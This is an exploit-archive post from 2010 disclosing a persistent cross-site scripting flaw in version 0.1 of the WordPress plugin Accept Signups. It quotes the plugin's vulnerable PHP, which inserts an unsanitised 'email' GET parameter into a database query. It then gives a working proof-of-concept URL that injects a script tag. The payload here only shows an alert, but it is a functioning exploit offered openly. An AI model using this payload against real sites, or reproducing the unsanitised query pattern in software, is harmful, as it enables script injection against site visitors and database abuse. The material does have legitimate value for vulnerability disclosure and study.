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[webapps / 0day] - WORDPRESS Plugin Accept Signups 0.1 XSS V

Posted on 22 December 2010

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WORDPRESS Plugin Accept Signups 0.1 XSS Vulnerabilities
=======================================================

# Exploit Title: WORDPRESS Plugin Accept Signups PERSISTENT XSS
# Date:21/12/2010
# Author: clshack
# Software Link:http://wordpress.org/extend/plugins/accept-signups/
# Version:0.1
# Tested on: wordpress 3.03
# CVE :
Vulnerable code accept-signups_submit.php:
require_once(&#039;../../../wp-config.php&#039;);//*addslashes* to GET and POST
 
$e=$_GET[&#039;email&#039;];
function saveEmail($e) {
global $wpdb;
 $tbl = &#039;`&#039; . DB_NAME . &#039;`.`&#039; . $wpdb-&gt;prefix . &#039;accept-signups`&#039;;
$q = &quot;insert into &quot; .$tbl . &quot; (email, ip, timestamp) value (&#039;$e&#039;, &#039;&quot;.
$_SERVER[&#039;REMOTE_ADDR&#039;] . &quot;&#039;, now());&quot;;
 return $wpdb-&gt;query($wpdb-&gt;prepare($q));
}
 
Poc:
http://localhost/wordpress/*wp-content/plugins/accept-signups/accept-signups_submit.php?email=clshack&lt;script&gt;alert(String.fromCharCode(72,
101, 108, 108, 111, 32, 58, 68, 32))&lt;/script&gt;*


# <a href='http://1337db.com/'>1337db.com</a> [2010-12-22]</pre></body></html>

 

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